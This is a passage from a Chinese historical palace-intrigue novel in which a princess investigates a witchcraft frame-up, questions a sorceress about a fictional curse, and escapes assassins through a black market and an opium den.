因为陛下很生气。
他是首辅,但说到底不过一个给皇帝打文工的臣子,与魏俊秋等鞍前马后打武工的臣子也没有不同。
在永济帝眼里,他们这些文臣武官从无高低贵贱,高贵的是顺服自己的顺臣,低贱的只能是反逆自己的逆贼。
摆不正自己的位子,就是死。
大楚不是大宋,没有不杀文臣的祖宗条例。
将来也不会有。
这就是大楚朝廷里最风光的首辅大人身上,最可悲可叹之处。
**
“王兄!仪臣!”
元良正指着庭院里一枝矮苗和长子沈仪臣说着种养要义,正说着此地启新殿在升平年间的植物光景,不妨听见坍圻花墙后有人在叫他们。他仰头寻了一圈,却是沈仪臣眼神敏锐,指着那积雪后一丛枯枝间惊讶道:“长平姑姑!”
果然是沈磐,扒了件内监的衣裳,戴着帽,窝着身藏在那里。
元良赶忙走过去,“你怎么来了?你不能来这儿……”
沈磐挤在这说大不大、说小又恰好能挤下她左手旁半边身子的墙缝,轻轻拉了几下堵在缝前的枯枝,急切问:“王兄,你们还好吗?”
元良叹气,忧心不已,握住沈磐伸过来的手,只觉得沈磐的热血顺着她的手也流了过来,“好,一切都还好,仪明他……”
“在东宫,他很好,王兄不要担心——对了王兄,他们在郡王府挖出了三只人偶,嫁祸你行巫蛊,写的是陛下的生辰,有一个不知道,还有某年十月二十五,你可有什么头绪?可有什么人要害你?”
“竟是这样……”元良神情恍惚。
“竟是怎样?”
“我从没想过告密……”他喃喃自语,又见沈磐心焦神灼,连忙道:“那天夜宴在畅春园……”
沈磐刚要说我知道,想直接问那三个人的身份,就忽然听得背后一阵兵戈脚步,自己还撑着墙壁的右手就那么被人拽住,右臂被拉脱臼的瞬间,她整个人也被扯回了雪地上。
墙内的沈仪臣连忙捂住自己要尖叫出声的嘴。
元良低头看着空空的手掌,蓦然一阵惊悚爬上背脊,就听墙外一声闷响,即刻有羽林卫吼道:“哪宫的奴才!”
沈磐痛得眼泪直冒,撑着身体抬头,就见迎着光羽林卫的长矛已经架在了她的脖子上,而几个羽林卫中站着的那个锦麟卫佥事冷哼着发号施令:“死罪,处置了就是。”
羽林卫不动,佥事背后两个锦麟卫走了过来。
“你们敢碰我!”
那个佥事一眯眼,一个羽林卫惊讶道:“长平公主?”
“原来还认得我。”
羽林卫即刻挪开了长矛。
锦麟卫佥事拉下脸,给地上的沈磐行过一礼,“公主殿下为何会在此?陛下严令不许任何人探见罪臣。”
沈磐扬眉,“你管得着?”
她挣扎着起来,两边羽林卫和锦麟卫面面相觑不敢动作,目送着她疼得轻嘶,在雪地里一脚深一脚浅地往东边走。
就差那么一点。
沈磐脸上的热泪被寒风一吹,疼得像拉着刀片。
真是畅春园那夜的密谋。
可就差那么一点。
元良应该知道他们是谁吧?他现在被关在宫里,是最危险的地方也是最安全的地方,他们难道不怕见了陛下,元良会将他们的密谋抖落得一干二净?
难道他们有把握元良认不出他们?
还是他们笃定了死到临头的元良不会说?
那为什么还要痛下杀手!
晋国公主沈碧站在东风亭前等着自己。
她端庄得像供桌香案上的一朵花。
她们姐妹并不亲厚,但看见沈碧,沈磐心里突然就腾起了一阵憋屈和恐惧,直催着她扑进姐姐的怀里。
这该是多么馨香可靠的怀抱。
可她在距离沈碧两步远的地方停下。
沈碧见她傻愣愣站着不动,只能主动上前,抖落挂在臂弯的披风给她围上,“走吧,
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手臂痛吧?孙芝娘子已经等在东宫了。”
“你为什么要来,牵扯到襄阳侯府就不好了。”
“法不责众。”
沈磐摇头:“他曾经用廷杖打死了不知多少认为‘法不责众’的朝臣。”
“那是因为亲疏有别,臣子终归只是王朝的仆役,皇帝是王法,但他——”
沈磐打断:“他不是。”
沈碧重申:“他是。”
柔水克钢,沈磐自知辩驳不过她,便息了要和她争一个高低的心思,恹恹道:“他是家法,但我们是他的女儿,动用家法管教不孝女,正正好。”
“正因为是女儿,他为何要吝啬当女儿面前的慈父?”
沈磐皱眉,“你说的是什么胡话?”
“听不懂就算了。”
沈磐被激怒,“一儿一女在前,他对女儿难道会比对儿子好?他最喜欢你,所以纵得你也做起了白日梦。”
“因为儿子能弑父而代,女儿只能仰其鼻息,他是皇帝,更是风光了大半辈子的皇帝,最不能忍受的就是有人胆敢挑战他的权威。你的所作所为,不过是蚍蜉撼树、微不足道的,他根本看不上,但元良不一样,在宗庙里、人心间,和他的那些儿子没什么大的区别。”
瞬息,沈磐转过脸,一言不发地跟着她往东宫走。
**
“怎么划了这么多口子?”太子扫一眼,就被沈磐手背胳膊上的树枝划痕惊得心忧。
沈磐一声不吭,只低着头看着沈碧沾着酒给她擦手。
“胳膊还被羽林卫扯脱臼了。”
“啊?”太子微讶,又听沈碧淡淡叙述:“现在已经接上了。”
太子妃薛元映理着太子披风上的雪水,“磐磐此举,是拿自己去冒险了。”
沈磐低声道:“王兄刚要说起岁末宫宴……仪明曾和我说过,他听见了三人密谋,说死了人,‘他’要担干系,‘他’只能上他们的贼船云云,一个叫另一个四爷,一个长得慈眉善目声音却难听得像刀割铁链——”
太子叹气:“名单我会去要的。”
沈磐噤声。
太子:“这些我都能办,现在最重要的是你,磐磐。”
太子妃道:“因为和魏俊秋恶交,陛下已然关了你的禁闭,现在又被抓了现形,他们伤到了你,未必会声张此事,但宫里的眼线千千万……”
“父皇正在生气,宫里便是最不安全的地方。”说着,沈碧收了东西,站起身,“不如让她跟着我,跟我出宫。”
太子和太子妃俱是一愣。
沈磐撇过脸:“你家里那么事、那么多人,别平白牵扯他们的好。”
沈碧没搭理,继续对着太子夫妇道:“父皇要怪罪她,也不会罚上加罚了。”
沈磐莫名其妙生了股气,“父皇最疼爱你,但我做的事是明明白白的抗旨,就算他想当慈父、他再疼你也不会容忍的!”
“会的。”
沈碧神色仍然淡淡,话却说得坚定似铁。
太子和太子妃不作声。
“元良一家出事,如果你也出事,你让沈斫怎么办?”
沈磐一怔,即刻反应过来,恶狠狠冲沈碧道:“不准给他送信!”
太子连忙挥手以示诚恳,“好好好,绝对不让他知道。”
沈碧端详她,“你若不配合,事情闹大了,他想不知道都难。”
太子妃轻轻扯扯沈碧的袖子,沈碧却不管,只盯着沈磐看,“现在是一人做事万人当,在宫里你只会关心则乱,倒不如出宫冷静冷静帮点忙。”
果然,沈磐眼神一亮。
“可是仪明……”
太子妃笑道:“有我呢,他和璩儿、玥儿玩得好,断然不会有事的。”
见沈磐将要松口,太子道:“从郡王府搜出来的人偶符咒都压在锦麟卫手上,我打算去找冉大人,以‘三司会审’的名义将东西送到刑部看管。他们不是说这人偶上别有玄机?宫里必然是找不到下落的——”
“我去宫外找。”
沈碧将沈磐按了回去,睨她一眼,“你怎么找?”
“先查化隆城里的巫师,去问这种厌胜术的源头。”
太子妃道:“宫里不是有个现成的吗?不若先查他?”
沈磐:“太医施汜?”
太子摇头:“早查过他了,身世很普通,长安废都的孤儿,从小跟着药铺掌柜研习医术,有了出息就到太医院找出路,着实看不出什么端倪。”
“没有端倪才是最大的端倪,陛下久病不愈,他怎么就想到了巫蛊上?怎么就这么顺利查到了元良?且孙太医走后,就是他前后伺候,陛下的病突然加重,说不定就是他的阴谋!”
太子略一思忖,“他擅长的就是这个——磐磐,这件事你也别管,你就好好跟着你大姐,一有收获我就会去信告知你。”
“那我岂不是又——”
沈碧抢白:“你呆在宫外,东宫就有理由常与宫外消息往来。”
沈磐只能顺从。
15. 第十五章 独丧人(五)
隔日过午,会审还未散去,沈碧在启明门外等得厌烦,遂进了宫。
她刚过启明门,就看见东直门甬道上围着往日难见的人墙,各色衙司、各种服色皆有,堵在刑部门前是锦麟卫,都察院的御史搬了板凳坐在阶下,还有宗人府的、大理寺的,一层层地排了下来,围到城门广场上的便是隔壁五部看热闹的闲人。
沈碧也被挡在最外围。
她定下心少等,不一会儿,刑部的黑漆大门内终于传来了响动,一顶素布小轿被四个羽林卫抬了出来,阶下的锦麟卫立即围了上去。
“这怎还被抬回内宫了?不该直接下刑部狱吗?”
“看来今天的三司没审出什么结果。”
“这就奇怪了。”
沈碧听得心烦,一瞥眼见西边的巷道里木头桩子似的扎着几个五六品的武官,都伸长了脖子往东直门甬道上看。贼眉鼠眼并着歪瓜裂枣,一晃而过有个长得甚为端正的,沈碧只当自己是眼花了。
“殿下!”
沈碧回神,就见自己的夫君郇渰挤着将要风流云散的人群匆匆跑了过来,脸色奇差,声音倒还温和,“殿下怎么亲自来了?家里出事了?”
“家里没事,元良这是怎么了?”
郇渰拉着她往宫外走,“今日暂罢,要定三日后再审。”
“三司阁臣也认为元良是无辜的了?”
郇渰摇头叹气:“不容乐观。”
上了自家马车,他才继续道:“最后一只指向不明的人偶是用一张手帕包裹的,很有年头,都是十几年、几十年的旧物,独独那手帕上绣了一个‘檀’字,郡王妃名讳里正有一个‘檀’,而先前两只人偶都是在郡王妃牌位下找到的,这真的说也说不清。”
“这怎么说不清?要咒人怎么会包上自己的物件?”
“所以,这是邪术啊。有人说就因为包了这手帕,折了郡王妃的阳寿,郡王妃这才早早病逝。再有,郡王这些年遍游南地,确也去过西南,那些地方巫蛊泛滥,郡王会认识巫师、抑或者自己习得巫术,这就有了猜测。”
沈碧蹙眉,“为何是西南?”
郇渰:“唉,他们这是起了怀疑头,便搜罗天下事去给怀疑搭身子,只要他们能自圆其说,陛下就会信。”
沈碧听出了他话中暗示。
就算不能自圆其说,元良沦落三司会审,用外人来审自家人,陛下早就信了。
“对了,那只与大伯生辰相同的人偶可有了定论?”
说到这个,郇渰冒了冷汗:“有人说,那是绝生人咒。”
**
“绝生人咒?”
沈磐拢了披风、按了按脸上的面具,更贴着破桌往这老师婆处凑了凑,听她缺缝的大牙里“刺溜刺溜”地漏风:“绝生绝生,自然是断绝阳生,在人偶上写下年月,施以咒术,若一切妥当,被施咒的人便会在你定下的时日断气,左右不会差上五日。”
师婆的五根手指头都染着锅底黑,这么突然地往沈磐脸上一推,吓得她一蹦而起。
见这跳脱的姑娘胆子倒小,师婆笑得阴恻恻。
沈磐重又坐下来,“那可否定个现在,让那个人立刻就死?”
听她问得天真任性,师婆笑得阴森:“当然可以,只是祭日定得越近,对施咒人的要求越高,定得远些倒比较容易,就是会出些变故。”
“那你建议,定个多久?”
“三年吧。”
沈磐皱眉,故意不悦道:“这么久?”
“这是最好的年限了。”
沈磐假意盘算起来,不妨看见师婆滴溜溜的眼珠像是一坨痰粘在自己身上,心里还是止不住地犯恶心。
“也罢也罢,久些也免人怀疑。”
“是这个理。”师婆点头,一缕缕冰在一起的银发狂舞起来。
沈磐嘀咕着:“三年的话,我也勉强等得起,毕竟这么好的男人天下难寻,我若不把他身边的莺莺燕燕打发干净,将来得过三十年的苦日子,不划算不划算……”
一瞥师婆胸有成竹的神色,沈磐念叨着自己编纂的谎话,又敲敲桌板,“那要多少?”
“不多。”师婆又张开了握过煤球的手。
“五金?”
师婆不语,眼露期待。
“五十金?”
“五百金!”
听沈磐的语气越发暴躁,师婆道:“是五样东西。”
沈磐略松一口气,“哪五样?”
“与你那相中的郎君定婚的小姐的生辰年月,加上双塔寺的下元符箓……”
“要八字?我弄不来,弄得来我直接扎小人了……”
“哎呀——”师婆甚为惋惜,“没有八字可怎么办?找错人了那就遭了。”
她眼珠一转,又笑起来:“也有办法,不过,就是麻烦些。”
“快说快说。”
破落小摊外起了一阵阴风,师婆牙缝里的邪风更加呼啸。
“此人诞生于某年某月某日,这可知道吧?”
“这个自然可以。”
“符箓也是要的,但就要三张了,依次是上元、中元和下元的符箓。”
沈磐略略思忖:“只要用钱能买到,就不是问题。”
师婆“呵呵”笑了:“木头人偶也要三只,最好是槐木的。”
“还有呢?”
“你至亲的牌位一架。”
沈磐心一沉脸一拉嗓音更一压:“至亲?”
师婆连忙补充:“也不必有血缘,若有血缘那更好了,只肖是你最亲近的人。”
“祖辈的可算?”
“当然啦。”师婆听着沈磐不似生气,便继续道:“不过,他得留下了一些东西,比如字迹啊、衣物啊。”
“还有吗?”
“啊——”师婆回忆,“没有八字,你懂的,一天十二个时辰,出生之人不知凡几,最容易闹乌龙了,所以啊,你还要弄到这位小姐一些血亲的生辰,最好是至亲,再用黄纸朱砂写了这人的姓名,和人偶放在一起,用牌位主人的旧物包裹起来——哎呀,我说多了。”
沈磐即刻摸出一锭金推了过去。
金锭摩擦旧木,当真是世界上最美妙的声音。
师婆笑着说:“然后啊,将东西埋起来,也未必需要动土,若有仓房库房的也好,只要用东西把他埋起来就好。哦别忘了,记得用针扎断血脉,不然,他找上贵客,那可就是惨事了。”
“方才要了牌位,这又是要干什么?”
“另两只人偶呐,当然要一起压在牌位下,常常受香火祭拜,以免——”
突然,身后一阵裂响,沈磐一回头就看见有人挥舞着长刀冲了进来。门口的招牌已经碎成了渣渣,这简易的凉棚四角支柱折了一根,顶上茅草掺着旧雪一齐哗啦啦地洒下来。
沈磐即刻要走,一转身发现那老师婆已经蹿没了影,再定睛一看,她居然像只没骨头的泥鳅钻进了后堂口的狗洞里,正扒拉着洞边的草杆要绝自己的去路。
“老虔婆!”
沈磐气极,抄起手边师婆装神弄鬼的龟甲草签就朝来人掷去,那龟甲又硬又重,对上杀人不眨眼的长刀,还能蹭出一片火花,被劈落地时直接把门口的一盆鼻涕邋遢的野花儿砸个稀烂。
砸场子的人又追了上来。
沈磐目测着自己是钻不过那一合手的狗洞,只能抡起架上的瓶瓶罐罐朝那个杀红了眼的人砸去。
不知哪个罐子里装了些什么毒死人不偿命的玩意,那一滩泔水似的东西一沾上人的皮肉,便风吹似地掀起了一片火毯。
那个人尖叫起来,刀一脱手,便砍上了他自己的脚背。
血花四溅,一时间惨叫连连。
他的皮肉都被烧化了,滴流到地上,“嘶”的一声冻成了泥巴。
沈磐跳着脚,不让自己踩到他的东西,就见这人没头苍蝇般地乱撞,最后一头撞上了支撑摊子的那根梁柱,只见扑簌簌的灰尘洒下,远天长风一掀,这早就该见鬼的屋顶、连着梁下挂着的稀奇古怪的甲壳全都翻了个底朝天。
沈磐的帷帽也被吹翻了。
她按着脸上的獠牙面具,要将着碍眼的面具也解下来,忽然迎面寒光一闪,她来不及躲,只仰身要避开那淬着杀意的刀刃,脸上的面具便在刀锋过后七零八碎地砸到了雪地上。
沈磐也被这股大力掀倒在地,手掌一撑,挣扎着要从满地狼藉里爬起,也觉不出痛,她刚麻溜地爬起要往大路上飞奔,低头就见自己左手鲜血淋漓,翻起的血肉中还嵌着不少碎片。
她这才感到了痛。
手掌就像从正中截断一般要痛得她泪花肆虐。
但她怕死啊,这点痛又算得了什么。
沈磐腿软,却还是发疯似地往前跑。
长缨卫便装都守在巷口,她这是南辕北辙,但她想要折返也没办法,只求他们那里还没出事,听见了这样的动静能赶来解救自己。
沈磐不敢回头看。
后面是洪水猛兽。
两边的铺面小摊里静悄悄。
可是前面?
沈磐被迫勒足。
巷尾已经站上了一个凶神恶煞的彪形大汉,他肩上扛着的那把斧头才饱饮了人血。
沈磐下意识地一退,一退便险些踩上一滩血,血泊中倒映出背后那个舞着刀疾速飞来的杀手。
血是从左边的铺面里流出来的,一只断手还夹在门板上,老鼠叼着一块血淋淋的东西从梁上穿过。
右边是一家匆匆关门谢客的明器店。
沈磐心中恶寒。
**
张永一跟着史可平等在西门
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等着刑部里的结果,乍见晋国公主,又见襄阳侯世子郇渰脸色奇差,便知会审时出了大事。
他才看见东宫的元亨出来,刚想去打听几句,义然就跑了过来。
“公子,那老婆子出摊啦,赶紧的。”
张永一只能挂了牌子换了官服,托史可平照看着,借了马就奔向了城西牛马巷。
这牛马巷不过十来条街围着,是化隆城里一处“法外地”,各路牛鬼蛇神在此扎根,行不见天日事,买卖人口、武器,擅淘珍宝、明器,集市上正经生意人做不了的买卖在此大多都能找到下家,若要雇凶杀人,在此寻□□就更方便了。
朝廷也管这处最大的黑市,但总有些人情往来上下打点,只要三司缉捕的要犯、要案能够交差,京兆都对这里的是非黑白、人命买卖睁一只眼闭一只眼,各自方便。
永济年初首辅柳曦既曾暴力整治过一番,不过自他病逝,他的班底一一下台,牛马巷里的“牛头马面”便又上了天。
只要不翻天就好。
化隆城里也有别的几处黑市,但都不如牛马巷势大。元良巫蛊之事一出,张永一便各处托人寻访各种巫师道人。
前天义然盯上了一个老师婆,据说问卦占卜巫蛊样样灵通,只是人怪脾气大,她出摊不定时,有时来求卦的人能堵满整条巷子,有时却惨惨戚戚无人问津。
牛马巷的生意夜间最为红火。
张永一看着天色,今日应该能一路顺风。
巷子里便不能骑马了。
他们两人刚存了马僵,走了不过三条街,就听前方排房后一阵巨响。才跑不过几步,就见一个满头发霉的老太“嘿咻嘿咻”地跑,乱蓬蓬的发窝里还插着两根茅草,草尖也“嘿咻嘿咻”地弯腰点头,累得不行。
她应当是遭了难,可嘴里却哼了小调惬意无比。
师婆一抬头,与义然大眼瞪小眼,云淡风轻地踮着脚尖,踩水似地拐了个弯跑没了影。
那排房里爆出惨叫来。
张永一即刻拔了怀中匕首,与义然一并攀上了房檐,走着破瓦踩着枯脊,只往那鬼蜮般的灾难场去。
义然瞧着四周方位,骇然起来:“刚刚那个不会就是——”
他话还没说完,张永一就飞也似的跳了下去,他一愣,睁大眼睛一看,被一前一后两个杀手堵在巷尾的那个姑娘,不是长平公主是谁?
张永一来得巧,匕首贯着那杀手的掌管将他钉到了巷边柱上,他落地刚好夺了刀,顺势往他腿上一砍,那人一拔出钉入经脉的匕首就摔倒在地。
沈磐看不清身后的状况,只觉手上被人一拽,整个人就被一股力气拉往一人行堪堪错身的蚂蚁道里。
“张永一?”
“是我。”
蚁道连通两条小巷,那彪形大汉挤不进来只能绕路。
张永一对这里的地形不熟,正盘算着如何出巷,就见那大汉如神兵天降,眨眼就出现在跟前,连喘都不带喘的。
他脑子一懵,踩上边上长得稀奇古怪的小贩拖着的桐木推车,又踹上那看着还算结实的立柱,卡着沈磐的腰一同飞上屋檐。
这屋顶小啊!
沈磐轻呼了一声,张永一连忙将人搂上怀里,一扫沈磐脚下,那片瓦就这样被踩碎了。
彪形大汉似也要上瓦。
张永一干脆将沈磐扛上了肩,沿着排房的走向飞奔起来,不想真踩烂了好几家的房顶。
他心里觉得怪不好意思的。
但逃命要紧,那彪形大汉没给他道歉的时间,爬着一家二层高不知用作什么生意的铺面就上了房顶,张永一回眸一瞥他脚下,站的就是他们方才的地方,不禁为之惋惜。
果不其然,那大汉还没站定,一只脚就塌了下去。
轰然一声,那片屋顶也随之坍陷,惊起屋内一整片男女尖叫。
张永一最后踩着窄巷的屋瓦,飞身一跃落入一条深巷。
沈磐已经被颠得眼冒金星,刚被张永一放下,就又被他拉着胳膊,漂移般拐进了蚁道。
张永一着实没有想到,这满街上随便几个人里都藏着相互接应的杀手。
他们也着实来错了地方,这条巷简直是人挤人,而那杀手转瞬提刀又追到了附近。
人多的好处就是,杀手一时半会儿也找不到他们。
人多的坏处就是,他们两个如不系之舟就这么稀里糊涂地被推进了一家店。
大堂酒客满座,丝竹爆炸,金发碧眼的胡姬袒胸露乳,赤脚从这桌跳到那桌,飞旋的薄纱裙摆轻飘飘扫过每一个醉醺醺的酒鬼通红的脸。
满天烟雾缭绕,不知烧了什么东西。
沈磐皱了皱鼻子。
一楼一览无余,张永一只能拉着沈磐挤上楼。不妨刚上了二楼,迎面就是一个涂脂抹粉的女人的裸体。
16. 第十六章 独丧人(六)
张永一别过脸,却被迫见廊道上跌跌撞撞跑来一个老头,身上被抓得破破烂烂,红疮长了满身,一手斟着根杆秤般的烟斗,一手五指扭曲着抓向那个笑嘻嘻娇声连喘的女人。
他连忙拉着沈磐继续往里走。
两耳都是各种白日宣淫、不合周礼的响动。
这些门板薄薄一层,关和开没有两样,甚至上面结着污点的油纸都破了干净,里头人抵在门上,尖尖的手指从窟窿眼里扣了出来,像是流涎的饿兽迫不及待。
张永一恨不得塞住耳朵闭上眼,但他还记得自己与沈磐是在逃命。
这一记,他便记起,沈磐的胳膊还在自己手里。
他的手掌就像被火燎了遍。
各处都亮着灯,沈磐一眼就见一楼门口露出了一个头,是那个凸眼珠四处搜罗的杀手。她心一慌,连忙推着张永一随便挤进了一间房。
房内烟雾缭绕,像是大冬天烧了最次的烟炭。
沈磐差点呛出声,她自己死死捂住嘴巴,忍着喉咙里的瘙痒,跟着张永一沿着墙壁慢慢地辨析屋内人物。
这是一间长条形的屋子,中间是三张拼起来的横榻,榻边点了火盆,五六个不知是男是女的人都窝在上面呻吟不断,鬼哭狼嚎得像马上就要断气的短命鬼,全然没有注意到这里又来了两个不速之客。
这里这么大的烟,必然要开窗通风,不然这些个瘾君子绝对要憋死。
想到这,张永一屏着呼吸,拉着沈磐,顺着头顶烟雾翕忽盘旋的方向继续向深处走。
往里便没有点灯了,火盆的热也播撒不到这里,隆冬的阴寒潮湿便自立为王。烟雾已经融入黑暗,但阴寒里还架了一张床,凭着微弱的一点光,在这雾蒙蒙的虚空里,他们突然看见三颗如麻花交缠在一起的人头,黑的是枯发,红的是颓脸,但白花花赤条条的,哪条腿、哪只胳膊是哪个人的人根本分不清,甚至于滚在地上挤毛巾似的人团究竟是三人还是五人,这也不清楚。
其中一人抬起脸,充血的眼睛里投出的视线飘忽不定,可就像闻见血的饿狼,他即刻锁定了沈磐。
像是被踩住尾巴的猎物一样,沈磐后背一凉,即刻往张永一背后躲去,却见此人像是瞎了般,翻了眼睛又纠缠回去。
沈磐心跳个不停,下意识地去看张永一。他还一边握着自己的胳膊,另一边还在摸索着找窗户。
他们离得分外近,但和地上那些人比起来,他们又格外远。
她顿时又出了身汗。
屋里很闷很热。
这床架子上的纱幔都碎得零落,随着床角的动静,在烟雾中跳着欲生欲死的舞。墙壁的隔音很差,屋外一阵格外急切的脚步在侵蚀一切的旖旎散漫里分外清晰。
也正此时,张永一摸到了暗窗,一丝凉意与金黄色的光从缝隙里漏了进来。
隔壁房间里一阵鸡飞狗跳,男男女女捡了最脏最凶却毫无杀伤力的字眼骂着贸然闯入的十三点。
张永一松开了沈磐,弯下腰要仔细研究这窗户铁打的卡扣。上面似是生了锈,粘在一起,稍稍一推便是一声响。
在这悉悉索索有些安静的屋子里,这声响简直是电闪雷鸣。
床边的人更快活地叫喊起来。
门也被推开了。
那群弱不禁风的瘾君子哼哼唧唧地骂了起来。
张永一攥上藏在披风中的刀,沈磐却按住了他的手,拽着他的领子将两人对调了个方向,自己背靠上了暗窗。
只听得那脚步声沿着他们来时的路,一点点响亮。
床边的人“哥哥”“嫂嫂”“奶奶”“天爷”地各自乱叫。
敌众我寡,还沦陷入这样局促的境地,沈磐已经无法思考。
她颤着手,一把扯下了自己的披风,又扒开自己的上衫,在张永一反应过来前,将他的脸按到自己暴露在烟雾里的脖颈上。
这是一脉不同于任何气味的清香,一如初见于宁远门外的雪地里,她稍稍一抬手,便放出袖子里私藏的千万个春天。
张永一僵结的思绪终于活络起来,连忙也解开自己的披风盖到刀上,学着沈磐松开了自己的上衣。
可他们的手在腰间打架。
沈磐不知在扯谁的腰带,张永一却不允许。
他的手不知撞到了什么,沈磐吃痛,轻哼了一声,霎时间满脸通红。
他们身边就是最好的范例。
意识到接下来将要模仿什么,张永一的手又僵在了半空。
沈磐顺势扯松了腰带,即刻,她上半身的衣裳都松垮垮的堆了下来,滑到了自己手腕、张永一手边。
这里很暗,但沈磐白得发光。
张永一错开视线,只专心听那杀手的脚步。
沈磐的手攀上他的后背,拽着他的后领往下拉,又在此时,她踮起脚扎向他松散的领口,又按着他的脑袋往自己心口去。
这便看不见他们两个人的脸。
张永一想着,鼻尖蹭上了她的肌肤,然后是脸颊,然后是嘴唇。
祖母曾有一柄羊脂玉的如意,摸上去要凉一些。
张永一耳朵滚烫。
而沈磐的脸又红了。
她能感受到张永一温濡的呼吸,而这烟雾弥漫惊险四溢之中,这衣冠包裹下的身体更烫得可怕。
更让两个人成为上屉螃蟹的是,张永一的脸颊微微一动,沈磐便捏着嗓子轻轻叫了一声。
床边传来了最后的咆哮,床架也被推得“咯吱”作响。
他们呼吸本就十分急促,一听那脚步声突然停了,心鼓擂得更加喧嚣。
男男女女、不男不女都在叫了。
沈磐心一横,推着张永一的头往自己脖子上走。她手下没轻没重的,几乎是按着张永一的脸,温热的触感让她浑身一颤,她又咬牙拉着张永一僵硬不愿配合又不曾握刀的右手,往自己腰间探去。
其实这里已经没有一件衣裳,他的手一碰到自己的腰,沈磐就成了熟透的柿子。
他的掌心也贴了上来。
和指腹一样有些粗糙。
张永一攥紧了左手刀。
沈磐破罐子破摔地喘了起来。
她学得有些拙劣,一声比一声促,一声比一声硬,一点蛊惑的极乐意也没有,像是被人拿着刀胁迫的一样,有些痛苦。
可这些声音落在张永一耳朵里,已足够让他不可遏制地绷紧身子。
他的呼吸也不经意粗重起来。
但是沈磐这个家伙,居然因为自己的表演不到火候,竟然按着他的手继续往下推。
还好衣物是整齐的。
但隔着柿子皮一样薄薄的衣物,他们都能感受到彼此不可忽视的存在。
好似找到了一些感觉。
脚步声又响了起来,床边却逐渐消停。
沈磐连忙松手,抱紧了张永一的腰背。
张永一闷哼一声,落在沈磐腰间的手不可抑制地抖了起来。
脚步声好似就在边上静静观看。
他们似都面临着生死抉择,现在一咬牙全豁了出去。
他支手托起了沈磐,将她抵在了暗窗的隔板上。
她似是笑了,口不对心地学着别人嗔怪:“别急啊。”
她很着急。
那杀手就在边上。
张永一作势要掀开她的裙摆,沈磐缠上他身体。
他们贴得这么近,张永一的嘴唇早已吻在了她的锁骨肩头,手指也早已摩挲过她的腰肢;沈磐也早已拨开他的领子,摸到了他背上一道道骇人的伤疤。
他们都能感觉到彼此的变化。
他们都喘息起来。
好似成了真。
那脚步声顿了顿,终于开始往回走。
危机将要解除,他们的呼吸倒更乱了。
门又开合,房外响起了脚步,床上应声又炸开了锅。
翻天覆地,天翻地覆。
张永一放下沈磐,他们两个人面对面站了,尚且不敢收拾仪容,都闭着眼各自平复着呼吸。
突然,张永一身后传来一句嘲笑:“大兄弟,你不行啊。”
两个人都是一个激灵。
张永一遮着沈磐,也不回头,只迅速地给自己、给沈磐整理衣裳,随即暴力撬开暗窗的搭扣,推了一线缝探查片刻,便又合起了漏风的窗。
外面已经黑了。
等沈磐给他们两个人都系好了衣带,张永一这才一手提刀、一手抱着沈磐踏上窗台。临走前他偏头扫了一眼,就见扶着床架正肆无忌惮撩拨架子上缠着的姑娘的男人,正赤红着眼睛要伸头看他怀里的沈磐。
沈磐不知他在看什么,刚要抬头,就听他哑着嗓子说:“别看。”
随即,窗板一弹,风雪一卷,人影一闪,屋里只剩下鸳鸯们“嗷嗷”的嚎叫。
**
马车已悠悠驶上通往襄阳侯府的大路。
张永一和沈磐沉默地坐着。
长缨卫被刺客打散,这一队人也损失惨重,好在侯府来了接应,他们又在巷子口找到了义然。
外头天已
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经黑成了墨缸中的水。
张永一本要拒绝沈磐同乘的美意,但沈磐不容拒绝。
“你为什么来牛马巷?”
“有个巫师——”
“来查绝生人咒?”她虽在问,却是笃定的语气。
见张永一愣过后点头,沈磐便将那老师婆的事情都说了出来,“只有一点不同,十月二十五的那只人偶应该附有主人的姓名。”
“模糊年份如果是刻意为之?”
沈磐点头:“如果真是这样,那就不会有姓名,但为了防止认错,施咒者又放了两根羽毛。陈王无论如何也与飞禽之羽扯不上关系,而人偶的主人是陛下的至亲,至亲之中独独辅国长公主的小名叫作‘鹇儿’,白鹇之鹇,正是飞禽!”
张永一沉默。
“于是这便与陈王没有任何关系,这就不是党争——”
“那为何是两根红、蓝羽毛?”
沈磐望着他,分明看不清他的神色,可沈磐就是觉得,他心里并不希望是这个结果。
“不论如何,东宫都不会坐视不管。”
张永一一愣,沈磐这么坦然地说出心里的深忧,他有些惭愧自己的自私和狭隘,便开口岔开道:“元良郡王幼年时曾有两只鹦鹉为伴,一只叫‘红胜火’,一只叫‘绿如蓝’,一红一蓝,与他们的毛色相同。”
“这种事情很少有人知情吧?”
“嗯。”
沈磐叹道:“那就是知道一点的故人了。”
她的话冷幽幽的:“加上一点,故人就是敌人。”
她又自问:“其实还有一点,为什么要是三十三年的十一月十五呢?这是辅国长公主驸马的生辰,可又是定下的祭日——或许这根本不是什么绝生人咒,就是简单的厌胜呢?但她们夫妻很早就去世了,那时的元良才多大了……”
她似有些丧气,张永一想说些话哄她高兴,可这个念头一冒出脑海,他顿时退怯。
他连看都不敢看她。
沈磐忽然精神道:“是啊,模糊年份的目的是什么?不就是要乱人视听吗?不论是陈王还是长公主,这些都是皇帝的血亲……无论是何种面目,是只想对付皇帝,还是一气诅咒了三个人,这些都会引起瞎想,虚虚实实,牵扯上东宫,这就真真假假——他本来就喜欢陈王,出了这些事情,我二哥必然会忤逆他的冷血,这样他就更不喜欢东宫了……”
“一定是霍家!”
沈磐坚定道:“仪明在畅春园听见他们密谋,说什么上了贼船,那个长得像儒生、声音像老鸹的就是魏俊秋,被叫作‘四爷’的就是尚书霍辄的弟弟霍轶,还有一个,应该就是府军卫指挥使宣钦!”
张永一哑然。
“为什么是他?”
“初七那天送沈斫北上,府军卫莫名其妙就要拦门,说是指挥使的意思,那可不就是宣钦的意思!而崖然老先生的徒侄孙太医莫名死了,看来不是蓄意谋杀,而是意外,是锦麟卫意外酿就的事故。正好那个时候他们在查吃空饷,就查到了崖然,于是宣钦要拦沈斫。魏俊秋因为担心出逃的崖然会对他们不利,担心会传到皇帝那里,所以被霍家要挟着入伙,可他想不到崖然以为是皇帝要杀孙太医——”
沈磐深吸一口气,“所以在此案中,魏俊秋这么着急要咬死元良,就是因为仪明偷听见了他们的对话,他担心元良会告密,可他也想不到元良心地善良更有些胆小,只想带着孩子远走高飞,根本不会去告密!但他们还不愿放过他!又或者,他们就是要斩草除根、永绝后患。”
